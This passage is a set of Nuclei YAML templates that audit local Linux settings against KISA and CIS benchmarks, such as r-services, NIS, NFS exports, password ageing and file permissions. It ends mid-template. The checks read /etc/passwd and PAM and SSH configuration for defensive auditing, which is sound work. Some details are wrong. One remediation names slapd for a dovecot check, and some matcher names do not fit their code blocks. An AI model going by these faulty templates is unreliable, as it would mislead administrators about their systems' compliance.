description: |
Shell startup and environment files (e.g., .bashrc, .bash_profile, .bash_logout) were not owned by the user or root and had insecure write permissions.Malicious users could manipulate environment variables or inject commands.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,compliance,kisa
self-contained: true
code:
- engine:
- sh
- bash
source: |
for user in $(awk -F: '$6 ~ /^\/home/ {print $1}' /etc/passwd); do
HOME_DIR=$(eval echo ~$user)
find "$HOME_DIR" -maxdepth 1 -type f \
\( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
done
matchers:
- type: regex
name: insecure-perms
part: response
regex:
- "^-.{5}w" # group writable
- "^-.{8}w" # other/world writable
- type: regex
name: invalid-owner
part: response
regex:
- "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
id: inactive-password-lock-default
info:
name: Ensure Inactive Password Lock is Configured (Default Setting)
author: Th3l0newolf
severity: high
description: |
This policy ensures the default user inactivity lock is configured properly.User accounts that remain inactive for more than 45 days after password expiration should be disabled.
remediation: |
Ensure the default INACTIVE parameter is set to 45 days for new accounts.To configure, run: sudo useradd -D -f 45
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,password
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
INACTIVE_DAYS=$(useradd -D | grep -i INACTIVE | awk -F= '{print $2}')
if [ -z "$INACTIVE_DAYS" ] || [ "$INACTIVE_DAYS" -gt 45 ]; then
echo "[inactive-password-lock-default-check:Policy-Fail] [INACTIVE=$INACTIVE_DAYS (invalid)] [CIS_FAIL]"
else
echo "[inactive-password-lock-default-check:Policy-Pass] [INACTIVE=$INACTIVE_DAYS (valid)] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100f3e5e3bb36176a8550312176a50c0d7938dd4f2f85ef28d7d5e7c24be37656d1022100cde95da0edd31265b7ef7145e309d7e5768146ab14079dd84f6d75e9b111041e:922c64590222798bb761d5b6d8e72950
+44
View File
@@ -0,0 +1,44 @@
id: ldap-client
info:
name: Ensure LDAP Client is Not Installed
author: Th3l0newolf
severity: info
description: |
The ldap-utils package provides LDAP client utilities that allow systems to query and interact with LDAP directories.If not explicitly required, it should be removed to minimize the system’s attack surface and reduce security risks.
remediation: |
- Ensure the ldap-utils package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove ldap-utils -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,ldap
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
# Check if the ldap-utils package is installed
if dpkg-query -W -f='${Status}' ldap-utils 2>/dev/null | grep -q "install ok installed"; then
echo "[cis-ldap-client-check:Policy-Fail] [ldap-utils is installed] [CIS_FAIL]"
else
echo "[cis-ldap-client-check:Policy-Pass] [ldap-utils is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100ff8778e0ae1fc773a1a46f288bcfb1d5e232d50fe42361d05d96bca924ecae6e0221009d492ae0f7a531cea826f1e264d8b8418a9656c6f5fa3d0ce75fb7ff9ba9b54b:922c64590222798bb761d5b6d8e72950
+42
View File
@@ -0,0 +1,42 @@
id: ldap-server
info:
name: Ensure LDAP Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The slapd package provides the OpenLDAP server, which manages directory and identity services. If not explicitly required, having this service installed unnecessarily increases the system’s attack surface.
remediation: |
- Run: sudo apt-get remove slapd -y
- This removes the LDAP server package to reduce the system’s attack surface.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s slapd &>/dev/null; then
echo "[ldap-server-check:Policy-Fail] [slapd is installed] [CIS_FAIL]"
else
echo "[ldap-server-check:Policy-Pass] [slapd is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402207ee6e7e7e9c66d8b9fbe1f829c03f27090298ed7f861d88bc570582c65810e1b022037d531ff744abf9677b2d15b3de6cfd80dc77b99613de661fe80dd7b6d91edc6:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,31 @@
id: linux-account-lockout-threshold
info:
name: Linux Account Lockout Threshold Check
author: songyaeji
severity: high
description: |
The system did not enforce an account lockout threshold, leaving it exposed to brute-force attacks through unrestricted login attempts.
reference:
- https://isms.kisa.or.kr/main/csap/notice/
metadata:
verified: true
tags: local,linux,kisa,audit,compliance
self-contained: true
code:
- engine:
- bash
source: |
grep -E 'pam_tally2.so|pam_faillock.so' \
/etc/pam.d/system-auth /etc/pam.d/password-auth /etc/pam.d/common-auth \
2>/dev/null || echo "no-lockout-config"
matchers:
- type: word
name: no-config
part: response
words:
- "no-lockout-config"
# digest: 4b0a00483046022100ddbb8ad3614b22b608c14fd9c974fd7024e21bda73426b584045cf5f7270303d022100cd10a4cc0e4cf5302c7760c004a52a3ef979541703ca6130a740ec39dcb99c43:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
id: linux-anonymous-ftp-enabled
info:
name: Linux Anonymous FTP Access Enabled
author: songyaeji
severity: high
description: |
FTP account allows malicious users to exploit it to log in anonymously and write to directories, potentially gaining unauthorized access or executing local exploits.This template checks for signs of anonymous FTP being enabled via /etc/passwd, vsFTPD, or ProFTPD configuration files.
reference:
- https://isms.kisa.or.kr
metadata:
verified: true
tags: linux,local,kisa,audit,ftp,anonymous,local
self-contained: true
code:
- engine:
- bash
source: |
if grep -q -E '^ftp:' /etc/passwd; then
echo "[VULNERABLE] FTP user exists in /etc/passwd"
else
echo "[SAFE] No FTP user found in /etc/passwd"
fi
# Check vsftpd anonymous login
if grep -q -i 'anonymous_enable.*yes' /etc/vsftpd/vsftpd.conf 2>/dev/null; then
echo "[VULNERABLE] anonymous_enable=YES in vsftpd.conf"
else
echo "[SAFE] Anonymous login disabled in vsftpd.conf"
fi
# Check proftpd anonymous login
if grep -q -i 'UserAlias.*anonymous' /etc/proftpd/proftpd.conf 2>/dev/null; then
echo "[VULNERABLE] UserAlias anonymous in proftpd.conf"
else
echo "[SAFE] Anonymous login disabled in proftpd.conf"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4a0a00473045022055559b14fc854e4092076348e8112d3c5de9cc61c672ae22a6c3c0338bb8297d022100b710a746d9e1137f08fe0e7a9598b87866051c238f885376e2c0ab28d57fe15a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
id: linux-automountd-enabled
info:
name: Automountd Service Enabled
author: songyaeji
severity: medium
description: |
The automountd service, when enabled or running, allowed a local attacker to execute arbitrary commands with root privileges by exploiting automatic mount options. This misconfiguration led to local privilege escalation.
reference:
- https://isms.kisa.or.kr
metadata:
verified: true
tags: local,linux,privesc,kisa
self-contained: true
code:
- engine:
- sh
- bash
source: |
whoami
- engine:
- sh
- bash
source: |
if pgrep -x "automountd" > /dev/null; then
echo "[VULNERABLE] automountd service is running"
else
echo "[SAFE] automountd service is not running"
fi
matchers-condition: and
matchers:
- type: word
part: response
words:
- "root"
negative: true
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4a0a0047304502203bae281737c0bf4a782527ac4b1f087046778d156478e8942e0f62bc57de275602210080d389c9fdfcdb96b3290985fcbba51ad85076327ed6aabd5af318ba4dc0f0e2:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,51 @@
id: linux-cron-permissions-check
info:
name: Cron Access File Ownership & Permissions
author: songyaeji
severity: high
description: |
/etc/cron.allow and /etc/cron.deny (if present) were required to be owned by root (UID 0) with strict 640 permissions.If neither file existed, only the root user could use cron, which was considered the safe default behavior.
reference:
- https://isms.kisa.or.kr
tags: local,linux,audit,kisa,compliance
self-contained: true
code:
- engine:
- bash
source: |
result=""
check_file() {
file=$1
if [ -f "$file" ]; then
owner=$(stat -c "%u" "$file") # numeric UID
perm=$(stat -c "%a" "$file") # permissions
if [ "$owner" -ne 0 ] || [ "$perm" -ne 640 ]; then
result+="[WARN] $file misconfigured\n"
fi
fi
}
check_file /etc/cron.allow
check_file /etc/cron.deny
if [ -n "$result" ]; then
echo -e "$result"
else
if [ ! -f /etc/cron.allow ] && [ ! -f /etc/cron.deny ]; then
echo "[OK] no cron access files found (default safe behavior)"
else
echo "[OK] cron files properly configured"
fi
fi
matchers:
- type: word
part: response
words:
- "[WARN] /etc/cron.allow misconfigured"
- "[WARN] /etc/cron.deny misconfigured"
# digest: 490a004630440220180a1385922d6792b7c466fde7a1f487c47fe0525a02e7adf73eea1cc50e8d100220684a7e5fd3ca7898c61cde73008a3725f8753709b7ea323a254b27a075c3ff1f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,76 @@
id: linux-legacy-services-enabled
info:
name: DoS Vulnerable Service Enabled
author: songyaeji
severity: high
description: |
Services such as echo, discard, daytime, and chargen were enabled on the system, allowing attackers to exploit them to extract system information or launch denial-of-service (DoS) attacks.These legacy services were required to be disabled unless explicitly needed.
reference:
- https://isms.kisa.or.kr
tags: local,linux,audit,kisa,compliance
self-contained: true
code:
- engine:
- bash
source: |
if [ -f "/etc/xinetd.d/echo" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/echo"; then
echo "[VULNERABLE] echo service is enabled in /etc/xinetd.d/echo"
else
echo "[SAFE] echo service is disabled or not present"
fi
- engine:
- bash
source: |
if [ -f "/etc/xinetd.d/discard" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/discard"; then
echo "[VULNERABLE] discard service is enabled in /etc/xinetd.d/discard"
else
echo "[SAFE] discard service is disabled or not present"
fi
- engine:
- bash
source: |
if [ -f "/etc/xinetd.d/daytime" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/daytime"; then
echo "[VULNERABLE] daytime service is enabled in /etc/xinetd.d/daytime"
else
echo "[SAFE] daytime service is disabled or not present"
fi
- engine:
- bash
source: |
if [ -f "/etc/xinetd.d/chargen" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/chargen"; then
echo "[VULNERABLE] chargen service is enabled in /etc/xinetd.d/chargen"
else
echo "[SAFE] chargen service is disabled or not present"
fi
matchers:
- type: word
name: echo
part: code_1_response
words:
- "[VULNERABLE]"
- type: word
name: daytime
part: code_2_response
words:
- "[VULNERABLE]"
- type: word
name: chargen
part: code_3_response
words:
- "[VULNERABLE]"
- type: word
name: discard
part: code_4_response
words:
- "[VULNERABLE]"
# digest: 4a0a0047304502202cf91c265090819bbe6e79552565776586d650aba479c020577e231fe19482af022100d2ed2e30103881d316dbe4f9d4b517a6e63b4c44a950ce6c5f1468f23914491d:922c64590222798bb761d5b6d8e72950
+42
View File
@@ -0,0 +1,42 @@
id: linux-nis-service
info:
name: NIS Service Should Be Disabled
author: songyaeji
severity: high
description: |
Evaluated the status of NIS service daemons on the system. Active NIS services could have permitted unauthorized users to escalate privileges or access sensitive account information, posing a significant security risk.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if command -v systemctl >/dev/null 2>&1; then
if systemctl is-active --quiet ypserv ypbind; then
echo "[VULNERABLE] NIS service is running"
systemctl status ypserv ypbind
else
echo "[SAFE] NIS service is not running"
fi
else
running=$(ps -ef | egrep "ypserv|ypbind" | grep -v grep)
if [ -n "$running" ]; then
echo "[VULNERABLE] NIS service is running"
echo "$running"
else
echo "[SAFE] NIS service is not running"
fi
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4a0a00473045022100b5b0f42b84f5cd2ca06b1a201d906667dc91a01dfd53273bdc01b3a65cc4595d0220603376d78e13e2573dd6af85849d0e5c9d897410e6be681645167165bc5d2a62:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
id: linux-nisplus-service
info:
name: NIS+ Service Should Be Disabled
author: songyaeji
severity: high
description: |
Evaluated the status of NIS+ service daemons on the system.Active NIS+ services could have permitted unauthorized users to escalate privileges or access sensitive account information, representing a significant security risk.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if command -v systemctl >/dev/null 2>&1; then
if systemctl is-active --quiet rpc.yppasswdd rpc.yppupdated ypxfrd; then
echo "[VULNERABLE] NIS+ service is running"
systemctl status rpc.yppasswdd rpc.yppupdated ypxfrd
else
echo "[SAFE] NIS+ service is not running"
fi
else
running=$(ps -ef | egrep "rpc.yppasswdd|rpc.yppupdated|ypxfrd" | grep -v grep)
if [ -n "$running" ]; then
echo "[VULNERABLE] NIS+ service is running"
echo "$running"
else
echo "[SAFE] NIS+ service is not running"
fi
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4b0a00483046022100ec34476a472e1a3b3be1d9a49138bc89f071403a821f0a1faef12d98134ca6fa022100ca746f642a4eb1564535e3ceafdde417713b4d795f53ecd7c874cae12a7587f8:922c64590222798bb761d5b6d8e72950
+31
View File
@@ -0,0 +1,31 @@
id: linux-rexec-service
info:
name: rexec Service Should Be Disabled
author: songyaeji
severity: high
description: |
Assessed the operational status of the rexec service on the system.Running rexec could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rexec 2>/dev/null; then
echo "[VULNERABLE] rexec service is enabled"
else
echo "[SAFE] rexec service is disabled"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 490a00463044022003bbbed1e0bd7a6f80f662b6ecc935324f16f9097cf8c7fddaebca4e567fc26f02204a000af2bb0c14fb63940f14fd5e04647a2e49f2d56fecb1555ec9573f42c439:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,60 @@
id: linux-rhosts-hostsequiv-misconfig
info:
name: Rhosts and Hosts.equiv Misconfiguration Check
author: songyaeji
severity: high
description: |
Assessed the presence and configuration of .rhosts and /etc/hosts.equiv files. Files with unsafe '+' entries, incorrect permissions, or improper ownership could have permitted unauthorized remote command execution via rlogin or rsh.
reference:
- https://isms.kisa.or.kr
- https://linux.die.net/man/5/hosts.equiv
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- bash
source: |
check_hosts_equiv() {
if [ -f /etc/hosts.equiv ]; then
echo "[FOUND] /etc/hosts.equiv exists"
ls -l /etc/hosts.equiv
if grep -q '^\+' /etc/hosts.equiv; then
echo "[WARN] Unsafe '+' entry found in /etc/hosts.equiv"
fi
perms=$(stat -c "%a" /etc/hosts.equiv)
owner=$(stat -c "%U" /etc/hosts.equiv)
if [ "$perms" -gt 644 ] || [ "$owner" != "root" ]; then
echo "[WARN] /etc/hosts.equiv has improper permissions or ownership"
fi
fi
}
check_rhosts() {
find /home /root -maxdepth 2 -name ".rhosts" 2>/dev/null | while read rhost; do
echo "[FOUND] $rhost"
ls -l "$rhost"
if grep -q '^\+' "$rhost"; then
echo "[WARN] Unsafe '+' entry found in $rhost"
fi
perms=$(stat -c "%a" "$rhost")
owner=$(stat -c "%U" "$rhost")
if [ "$perms" -gt 600 ] || [ "$owner" != "root" ]; then
echo "[WARN] $rhost has improper permissions or ownership"
fi
done
}
check_hosts_equiv
check_rhosts
matchers:
- type: word
part: response
words:
- "/etc/hosts.equiv"
- ".rhosts"
- "[WARN]"
# digest: 490a00463044022055990939cd2ff6e0a667754a6946d386089f4113dec88883b5db24420baf3ebc022058e5e428009c5edab46a409bddb9a4ea3104561a85f3683e1c5ee940a6315038:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,31 @@
id: linux-rlogin-service
info:
name: rlogin Service Should Be Disabled
author: songyaeji
severity: high
description: |
Assessed the operational status of the rlogin service on the system.Running rlogin could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rlogin 2>/dev/null; then
echo "[VULNERABLE] rlogin service is enabled"
else
echo "[SAFE] rlogin service is disabled"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4b0a00483046022100c6f1c8b6c83616490a00bc065ea6a8c8894a3a5c6163a952ac9f582026bfc9a5022100a9495cbde17bb7a534ecad34c9b2dc13f2adac753067701c127423b9a5c55451:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
id: linux-root-remote-login
info:
name: Linux Root Remote Login Enabled - Misconfig
author: songyaeji
severity: high
description: |
Root remote login was enabled either through /etc/securetty or via SSH configuration.This misconfiguration increased the risk of unauthorized system access.
reference:
- https://isms.kisa.or.kr/main/csap/notice/
metadata:
verified: true
tags: local,linux,ssh,root,misconfig,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
cat /etc/securetty 2>/dev/null | grep -E 'pts/[0-9]+' || echo "no-securetty"
- engine:
- sh
- bash
source: |
cat /etc/ssh/sshd_config 2>/dev/null | grep -E '^PermitRootLogin\s+yes' || echo "no-root-ssh"
matchers:
- type: word
name: tty
part: code_1_response
words:
- "pts/"
- type: word
name: ssh
part: code_2_response
words:
- "PermitRootLogin yes"
# digest: 4a0a00473045022100d3f9e9bf332239dff21fed19b2f4e154516bd0150c3e2664a3bc8d47bdc936eb022048de72c0c6425034051202b5d63abff5701dbe0b2b6e84870cfe4760a05a4e1a:922c64590222798bb761d5b6d8e72950
+31
View File
@@ -0,0 +1,31 @@
id: linux-rsh-service
info:
name: rsh Service Should Be Disabled
author: songyaeji
severity: high
description: |
Assessed the operational status of the rsh service on the system.Running rsh could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rsh 2>/dev/null; then
echo "[VULNERABLE] rsh service is enabled"
else
echo "[SAFE] rsh service is disabled"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 490a00463044022033b38de938931e97c6dae4db07a43ccf5b914fdc77d09467f50ed7f9fe8e027e0220453f6d5a24c1e28bfaab7ac33a33aa2ab1de8c671b76ac3a76df3d8efe0e7ab7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
id: linux-world-writable-file
info:
name: Linux World-Writable File Permission
author: songyaeji
severity: high
description: |
System files were configured with world-writable (chmod o+w) permissions.Malicious users could modify them, leading to privilege escalation, backdoors, or service disruption.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,compliance,kisa
self-contained: true
code:
- engine:
- sh
- bash
source: |
find / -type f -perm -0002 ! -path "/tmp/*" -exec ls -l {} \; 2>/dev/null
matchers:
- type: regex
name: world-writable-files
part: response
regex:
- "^-........w.*"
# digest: 4b0a00483046022100cb4eeed99539ca94bafeaaa60912f67fcac73a5d2c5a4f77d1f5085271959995022100e8df18d9e16d1dd7a187b6bde457f4706e1863500ba810dae15f383f8942bace:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,43 @@
id: message-access-server
info:
name: Ensure Message Access Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The dovecot-imapd package provides the Dovecot IMAP server, which allows users to remotely access email stored on the system. If not explicitly required, having this service installed unnecessarily increases the system's attack surface and could expose it to potential remote exploits. To maintain a secure system, IMAP services should only be installed and enabled when there is a clear business requirement.
remediation: |
- Ensure the `slapd` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove slapd -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s dovecot-imapd &>/dev/null; then
echo "[message-access-server-check:Policy-Fail] [dovecot-imapd is installed] [CIS_FAIL]"
else
echo "[message-access-server-check:Policy-Pass] [dovecot-imapd is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100872017f5f8005a6556592b1ae6736a0bfca00d3a127dfdf01e9f2e5a955638d502204fc22979eee455173e7bb24f6cdcee46165063e16f761d501f0f9f5e0cde79cd:922c64590222798bb761d5b6d8e72950
+39
View File
@@ -0,0 +1,39 @@
id: nfs-daemon-service
info:
name: NFS Service Daemon Should Be Disabled
author: songyaeji
severity: high
description: |
Assessed the status of the NFS service daemon. A running NFS service may expose the system to unauthorized access, modification, or deletion of files; it is recommended to disable the daemon when not explicitly required.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if command -v systemctl >/dev/null 2>&1; then
if systemctl is-active --quiet nfs-server; then
echo "[VULNERABLE] NFS service is active (systemd nfs-server is running)"
else
echo "[SAFE] NFS service is not running"
fi
else
if ps -ef | grep -v grep | grep -q nfsd; then
echo "[VULNERABLE] NFS service is active (nfsd is running)"
else
echo "[SAFE] NFS service is not running"
fi
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 490a0046304402202e365f52032e4d73bd77139c21b39a53cde40c7ccfcadc601d7838be496b568702205752a5bedecd1cdfe538de1f56707780e86398de4153e89ba87a4a2d5ca82f11:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,35 @@
id: nfs-insecure-exports
info:
name: NFS Insecure Exports Check
author: songyaeji
severity: high
description: |
Verified whether access control was properly configured on NFS.Highlighted possibilities such as allowing all hosts, no_root_squash, or unrestricted all_squash that could let unauthorized users access shared directories.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if grep -Eq '^[^#].*\(.*no_root_squash.*\)' /etc/exports; then
echo "[VULNERABLE] NFS allows root access with no_root_squash"
elif grep -Eq '^[^#].*\*' /etc/exports; then
echo "[VULNERABLE] NFS allows access to all (*) hosts"
elif grep -Eq '^[^#].*\(.*all_squash.*\)' /etc/exports; then
echo "[WARN] NFS uses all_squash (verify if access is restricted)"
else
echo "[SAFE] NFS access appears restricted"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4a0a00473045022044c9658bfe1ee89876d142333d465adc26d4ec93e6b1bc4f0cacfcac454672de02210093fab4dd0015863b7414c0f9b963424ee7063c05badd0b041209eb45ac875cbd:922c64590222798bb761d5b6d8e72950
+44
View File
@@ -0,0 +1,44 @@
id: nis-client
info:
name: Ensure NIS Client is Not Installed
author: Th3l0newolf
severity: info
description: |
The nis package provides the Network Information Service client, which is insecure and deprecated.If not explicitly required, it should be removed to reduce the system’s attack surface.
remediation: |
- Ensure the nis package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove nis -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,nis
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
# Check if the nis package is installed
if dpkg-query -W -f='${Status}' nis 2>/dev/null | grep -q "install ok installed"; then
echo "[cis-nis-client-check:Policy-Fail] [NIS is installed] [CIS_FAIL]"
else
echo "[cis-nis-client-check:Policy-Pass] [NIS is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100cfc6bf15d445dff51f2fba3848fa1387d14074791850f1f0c91293107f5149be022068f71166dae4ec578d4ca2b043f92349a31fc68dc0e945644c2831490c3665e2:922c64590222798bb761d5b6d8e72950
+48
View File
@@ -0,0 +1,48 @@
id: password-expiration
info:
name: Ensure Password Expiration is Configured
author: Th3l0newolf
severity: medium
description: |
The PASS_MAX_DAYS setting in /etc/login.defs defines how long a password may be used before it must be changed.To comply with CIS Ubuntu Linux Benchmark, this value should be set to a number greater than 0 and less than or equal to 365.
remediation: |
Edit /etc/login.defs and ensure the line is set to: PASS_MAX_DAYS 365 (or another value between 1 and 365).Verify the change with: grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,password
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
MAX_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs | head -n1)
if [ -n "$MAX_DAYS_LINE" ]; then
VALUE=$(echo "$MAX_DAYS_LINE" | awk '{print $2}')
if [ "$VALUE" -gt 0 ] && [ "$VALUE" -le 365 ]; then
echo "[password-expiration-check:Policy-Pass] [PASS_MAX_DAYS is $VALUE (valid)] [CIS_PASS]"
else
echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS is $VALUE (invalid)] [CIS_FAIL]"
fi
else
echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS not set or malformed] [CIS_FAIL]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a004730450221009cbba7657038b7d04af3978e24d438753c705b2be8c9303bb01944ae5b4e600602201d065b7a3fb76908156e03c53a22c3af9b2eaed544712284fa33520f6796396f:922c64590222798bb761d5b6d8e72950
+48
View File
@@ -0,0 +1,48 @@
id: password-min-days
info:
name: Ensure Minimum Password Days is Configured
author: Th3l0newolf
severity: medium
description: |
The PASS_MIN_DAYS setting in /etc/login.defs defines the minimum number of days required between password changes.This prevents users from rapidly cycling through passwords to bypass password history requirements.
remediation: |
Edit /etc/login.defs and ensure the line is set to: PASS_MIN_DAYS 1 (or another value greater than 0).Verify the change with: grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,password
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
MIN_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs | head -n1)
if [ -n "$MIN_DAYS_LINE" ]; then
VALUE=$(echo "$MIN_DAYS_LINE" | awk '{print $2}')
if [ "$VALUE" -gt 0 ]; then
echo "[password-min-days-check:Policy-Pass] [PASS_MIN_DAYS is $VALUE (valid)] [CIS_PASS]"
else
echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS is $VALUE (invalid)] [CIS_FAIL]"
fi
else
echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS not set or malformed] [CIS_FAIL]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a004730450220330c91b891028088a62cf87539435efb09e867da81d82656fe153f2032b450c8022100f5c059a68d37d56fbb607417af39f2cdad76a318f41d466fb1d89e57edf1d05c:922c64590222798bb761d5b6d8e72950
+48
View File
@@ -0,0 +1,48 @@
id: password-warn-age
info:
name: Ensure Password Expiration Warning Days is Configured
author: Th3l0newolf
severity: medium
description: |
The PASS_WARN_AGE setting in /etc/login.defs defines the number of days before password expiration that users are warned.To comply with CIS Ubuntu Linux Benchmark, this value should be set to 7 to provide sufficient notice for users to change passwords.
remediation: |
Edit /etc/login.defs and ensure the line is set to: PASS_WARN_AGE 7.Verify the change with: grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,password
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
WARN_AGE_LINE=$(grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs | head -n1)
if [ -n "$WARN_AGE_LINE" ]; then
VALUE=$(echo "$WARN_AGE_LINE" | awk '{print $2}')
if [ "$VALUE" -eq 7 ]; then
echo "[password-warn-age-check:Policy-Pass] [PASS_WARN_AGE is $VALUE (valid)] [CIS_PASS]"
else
echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE is $VALUE (invalid)] [CIS_FAIL]"
fi
else
echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE not set or malformed] [CIS_FAIL]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022015f03c2bbecc12ef5fd92faa8928633477ade84d8fcd8980daad1984cba9ce56022100bc5d09e37c69098da51ad12d5fe668c86785f76d2b1e1b19515f3018a73f9e8a:922c64590222798bb761d5b6d8e72950
+29
View File
@@ -0,0 +1,29 @@
id: root-path-dot
info:
name: Root PATH Contains Current Directory
